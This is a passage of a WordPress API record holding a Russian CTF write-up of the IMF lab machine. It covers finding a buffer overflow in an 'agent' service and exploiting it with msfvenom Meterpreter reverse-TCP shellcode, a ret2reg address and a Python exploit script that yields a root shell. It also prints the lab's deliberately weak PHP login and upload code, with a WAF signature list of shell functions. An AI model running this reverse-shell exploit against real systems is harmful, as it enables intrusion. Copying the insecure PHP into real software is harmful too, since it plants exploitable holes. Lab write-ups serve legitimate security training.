\u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c <i>ID<\/i>. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0435\u0433\u043e \u0441\u0435\u0431\u0435 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430:  <\/p>\n<pre><code class=\"bash\">$ nc -l -p 9999 &gt; agent &gt; nc 192.168.1.124 9999 &lt; \/usr\/local\/bin\/agent<\/code><\/pre>\n<p>  \u041e\u0442\u043a\u0440\u044b\u0432 \u0435\u0433\u043e \u0432 IDA, \u0438 \u043f\u0435\u0440\u0435\u0439\u0434\u044f \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <i>main<\/i>, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432\u0435\u0440\u043d\u044b\u0439 <i>ID<\/i><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b64\/3c7\/8b4\/b643c78b4a3b4075becdefe7e827b9fa.PNG\"\/><\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043a\u043e\u0434\u0430, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u0432\u043e\u0434\u0430 ID \u0441\u0435\u0440\u0432\u0438\u0441 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043c\u0435\u043d\u044e, \u0438 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0443\u043d\u043a\u0442\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0442\u0443 \u0438\u043b\u0438 \u0438\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0442\u0443\u0442 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044f <i>report<\/i><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/abb\/ce4\/659\/abbce4659ba34032a7889742a53a70af.PNG\"\/><\/p>\n<p>  \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0442\u0443\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0430\u043c\u043e\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0433\u043e \u0432 <i>peda<\/i> \u0438 \u043d\u0430\u0439\u0434\u0451\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u043f\u0430\u0442\u0442\u0435\u0440\u043d:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/072\/4d2\/9f9\/0724d29f93054dc38bf5b2a2c8adb336.png\"\/><\/p>\n<p>  \u041f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0435\u0433\u043e \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <i>report<\/i><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/ffd\/265\/bac\/ffd265bac0544241bbdc0c21da9c15f3.png\"\/><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043a\u0440\u0430\u0445\u0430, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f.<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/73c\/a47\/04d\/73ca4704df8c4f6e8c1cf0c3c50b6ce6.png\"\/><\/p>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u0442\u044c \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430.<br \/>  \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0448\u0435\u043b\u043b\u043e\u043c \u0438\u0437 <i>Metasploit<\/i>:  <\/p>\n<pre><code class=\"bash\">$ sudo msfvenom -p linux\/x86\/meterpreter\/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b &quot;\\x00\\x0a\\x0d&quot;<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"python\">import socket  port = 7788 host = '192.168.1.116' agent_id = 48093572 buf =  &quot;&quot; buf += &quot;\\xba\\xd0\\xda\\xa0\\x74\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x58\\x33&quot; buf += &quot;\\xc9\\xb1\\x12\\x31\\x50\\x15\\x03\\x50\\x15\\x83\\xe8\\xfc\\xe2&quot; buf += &quot;\\x25\\xeb\\x7b\\x83\\x26\\x5f\\x3f\\x3f\\xc2\\x62\\x0f\\xd9\\x9b&quot; buf += &quot;\\x82\\xa2\\xa6\\x0c\\x1f\\x55\\x67\\x9a\\xa1\\xd9\\x0f\\xd8\\xa1&quot; buf += &quot;\\x06\\xdf\\x55\\x40\\x22\\xb9\\x3d\\xd3\\xe2\\x12\\x34\\x32\\x47&quot; buf += &quot;\\x50\\xc6\\x07\\x4f\\xd3\\xc6\\x77\\x50\\x23\\x4f\\x94\\x91\\xc8&quot; buf += &quot;\\x43\\x9a\\xf1\\x03\\xeb\\x61\\x3b\\x9b\\x50\\x13\\x22\\x05\\xd0&quot; buf += &quot;\\x2f\\x15\\x35\\xd1\\xb0\\xaa\\xdb&quot; shell = buf shell += &quot;\\x90&quot;*(168-len(shell))<\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c\u0441\u044f, \u043d\u0430 \u0432\u044b\u0432\u043e\u0434 <i>peda<\/i> \u043f\u043e\u0441\u043b\u0435 \u043a\u0440\u0430\u0445\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440 EAX \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0430\u0447\u0430\u043b\u043e \u0441\u0442\u0435\u043a\u0430:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/fe8\/9b7\/46e\/fe89b746e8a64519829e29420046ca48.png\"\/><\/p>\n<p>  \u041d\u0430 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u043c \u0445\u043e\u0441\u0442\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d ASLR, \u044d\u0442\u043e \u0432\u0438\u0434\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b:  <\/p>\n<pre><code class=\"bash\">&gt; cat \/proc\/sys\/kernel\/randomize_va_space 2<\/code><\/pre>\n<p>  \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a \u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043a\u0430\u043a <i>ret2reg<\/i>. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <a href=\"http:\/\/www.securitylab.ru\/analytics\/405868.php\">\u0442\u0443\u0442<\/a> \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e \u043d\u0451\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c. <br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/372\/a80\/488\/372a80488f8841bcbeedd53ef8a8e2d8.png\"\/><\/p>\n<p>  \u041d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c \u0430\u0434\u0440\u0435\u0441 (0x08048563) \u043d\u0430\u0439\u0434\u0435\u043d. \u0414\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0435\u0433\u043e \u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442:  <\/p>\n<pre><code class=\"python\">shell += &quot;\\x63\\x85\\x04\\x08&quot; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall('%s\\n' %(agent_id)) s.sendall('3\\n') s.sendall(shell) data = s.recv(1024) print(data)<\/code><\/pre>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c <i>Metasploit<\/i>:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b3a\/16b\/ff3\/b3a16bff355043e78e53a503f3b57a50.png\"\/><\/p>\n<p>  \u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0430\u0448\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 <i>root<\/i>:  <\/p>\n<pre><code class=\"bash\">$ python .\/exploit_bof.py<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c7f\/76f\/570\/c7f76f57010a4db5b0b80103dc1c1d1b.png\"\/><\/p>\n<p>  \u0418 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0444\u043b\u0430\u0433:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/7d5\/c3b\/303\/7d5c3b303aa9442f97d7e4ba5ced4010.png\"\/><br \/>  \u0414\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e:  <\/p>\n<pre><code class=\"bash\">$ echo R2gwc3RQcm90MGMwbHM= | base64 -d Gh0stProt0c0ls<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/f91\/214\/a46\/f91214a46b22492ca664ddd2b9f29d9f.png\"\/><\/p>\n<p>  P.S. \u0412\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">index.php<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;?php session_start(); $loggedin=false; if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') { \techo &quot;flag3{Y29udGludWVUT2Ntcw==}&lt;br \/&gt;Welcome, &quot;.$_POST[&quot;user&quot;] . &quot;&lt;br \/&gt;&lt;a href='cms.php?pagename=home'&gt;IMF CMS&lt;\/a&gt;&quot;; \t$loggedin=true; } elseif (isset($_POST[&quot;user&quot;]) && isset($_POST[&quot;pass&quot;])) {     $password = &quot;398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf&quot;;     sleep(3); \/\/ do not bruteforce     if ($_POST[&quot;user&quot;]=='rmichaels') {         if (strcmp($password, $_POST[&quot;pass&quot;]) == 0) {             $_SESSION['admin_logged_on'] = 'that is affirmative sir';             echo &quot;flag3{Y29udGludWVUT2Ntcw==}&lt;br \/&gt;Welcome, &quot;.$_POST[&quot;user&quot;] . &quot;&lt;br \/&gt;&lt;a href='cms.php?pagename=home'&gt;IMF CMS&lt;\/a&gt;&quot;; \t    $loggedin=true;         } else {             echo &quot;Invalid password&quot;;         }     } else {         echo &quot;Invalid username.&quot;;     }         } if($loggedin===false) { ?&gt; &lt;form method=&quot;POST&quot; action=&quot;&quot;&gt; &lt;label&gt;Username:&lt;\/label&gt;&lt;input type=&quot;text&quot; name=&quot;user&quot; value=&quot;&quot;&gt;&lt;br \/&gt; &lt;label&gt;Password:&lt;\/label&gt;&lt;input type=&quot;password&quot; name=&quot;pass&quot; value=&quot;&quot;&gt;&lt;br \/&gt; &lt;input type=&quot;submit&quot; value=&quot;Login&quot;&gt; &lt;!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --&gt; &lt;\/form&gt; &lt;?php } ?&gt;<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">uploadr942.php<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;html&gt; &lt;head&gt; &lt;title&gt;File Uploader&lt;\/title&gt; &lt;\/head&gt; &lt;body&gt; &lt;h1&gt;Intelligence Upload Form&lt;\/h1&gt;  &lt;?php  \/\/ This is an example of how NOT to write a Web Application Firewall function crappyWAF($content) { \t$signatures = array( \t\t'\/\\\/\\*&lt;\\?php \\\/\\*\\*\\\/\/i' =&gt; 'Meterpreter payload detected', \t\t'\/eval\/i' =&gt; 'Eval php function detected', \t\t'\/base64_decode\/i' =&gt; 'Base64_decode php function detected', \t\t'\/fopen\/i' =&gt; 'fopen php function detected', \t\t'\/system\/i' =&gt; 'system php function detected', \t\t'\/passthru\/i' =&gt; 'passthru php function detected', \t\t'\/exec\/i' =&gt; 'exec function php detected', \t\t'\/pcntl_exec\/i' =&gt; 'pcntl_exec php function detected', \t\t'\/popen\/i' =&gt; 'popen php function detected', \t\t'\/fsockopen\/i' =&gt; 'fsockopen php function detected', \t\t'\/proc_open\/i' =&gt; 'proc_open php function detected', \t\t'\/fclose\/i' =&gt; 'fclose php function detected' \t); \tforeach($signatures as $signature=&gt;$reason) { \t\tif(preg_match($signature, $content)) { \t\t\treturn &quot;CrappyWAF detected malware. Signature: &quot; . $reason; \t\t} \t} \treturn true; }  $validextensions = array(&quot;jpeg&quot;, &quot;jpg&quot;, &quot;png&quot;, &quot;gif&quot;); if(isset($_FILES['file']['name'])) { \tif(!$_FILES['photo']['error']) { \t\t$temporary = explode(&quot;.&quot;, $_FILES[&quot;file&quot;][&quot;name&quot;]); \t\t$file_extension = end($temporary); \t\tif ($_FILES[&quot;file&quot;][&quot;size&quot;] &gt; 100000) { \t\t\tPrint &quot;Error: File size too large.&quot;; \t\t} elseif ((($_FILES[&quot;file&quot;][&quot;type&quot;] == &quot;image\/png&quot;) \t\t\t|| ($_FILES[&quot;file&quot;][&quot;type&quot;] == &quot;image\/jpg&quot;) \t\t\t|| ($_FILES[&quot;file&quot;][&quot;type&quot;] == &quot;image\/jpeg&quot;) \t\t\t|| ($_FILES[&quot;file&quot;][&quot;type&quot;] == &quot;image\/gif&quot;)) \t\t\t&& in_array($file_extension, $validextensions)){ \t\t\t \t\t\t$contents = file_get_contents($_FILES['file']['tmp_name']); \t\t\t$waf = crappyWAF($contents); \t\t\tif($waf!==true) { \t\t\t\tprint &quot;Error: &quot;.$waf; \t\t\t} else { \t\t\t\tif(exif_imagetype($_FILES['file']['tmp_name'])!==false) { \t\t\t\t\t\/\/PHP Image Uploading Code \t\t\t\t\t$new_file_name = substr( md5(rand()), 0, 12); \t\t\t\t\tmove_uploaded_file($_FILES['file']['tmp_name'], 'uploads\/'.$new_file_name.&quot;.&quot;.$file_extension); \t\t\t\t\tprint &quot;File successfully uploaded.\\n&quot;; \t\t\t\t\tprint &quot;&lt;!-- &quot; . $new_file_name . &quot; --&gt;&quot;; \t\t\t\t} else { \t\t\t\t\tprint &quot;Error: Invalid file data.&quot;; \t\t\t\t} \t\t\t} \t\t} else { \t\t\tprint &quot;Error: Invalid file type.&quot;; \t\t} \t\t \t} else { \t\tprint &quot;Error uploading file.&quot;; \t} }  ?&gt; &lt;form id=&quot;Upload&quot; action=&quot;&quot; enctype=&quot;multipart\/form-data&quot; method=&quot;post&quot;&gt; \t&lt;p&gt;  \t\t&lt;label for=&quot;file&quot;&gt;File to upload:&lt;\/label&gt;  \t\t&lt;input id=&quot;file&quot; type=&quot;file&quot; name=&quot;file&quot;&gt;  \t&lt;\/p&gt;                        &lt;p&gt;      \t&lt;input id=&quot;submit&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Upload&quot;&gt;      &lt;\/p&gt;  &lt;\/form&gt;  &lt;\/body&gt; &lt;\/html&gt;<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/318814\/\"> https:\/\/habrahabr.ru\/post\/318814\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/a14\/628\/00e\/a1462800e3304114b5a0ef997826cf71.png\"\/><\/p>\n<pre><code class=\"bash\">$ sudo arp-scan -l -I wlan0| grep &quot;CADMUS COMPUTER SYSTEMS&quot; | awk '{print $1}' | xargs sudo nmap -sV -p1-65535<\/code><\/pre>\n<p>  <\/p>\n<blockquote><p>Starting Nmap 7.01 ( <a href=\"https:\/\/nmap.org\">nmap.org<\/a> ) at 2016-12-25 22:41 MSK<br \/>  Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br \/>  SYN Stealth Scan Timing: About 1.40% done; ETC: 22:44 (0:03:31 remaining)<br \/>  Nmap scan report for 192.168.1.116<br \/>  Host is up (0.00046s latency).<br \/>  PORT STATE SERVICE VERSION<br \/>  80\/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br \/>  MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)<\/p><\/blockquote>\n<p>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-283321","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/283321","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=283321"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/283321\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=283321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=283321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=283321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}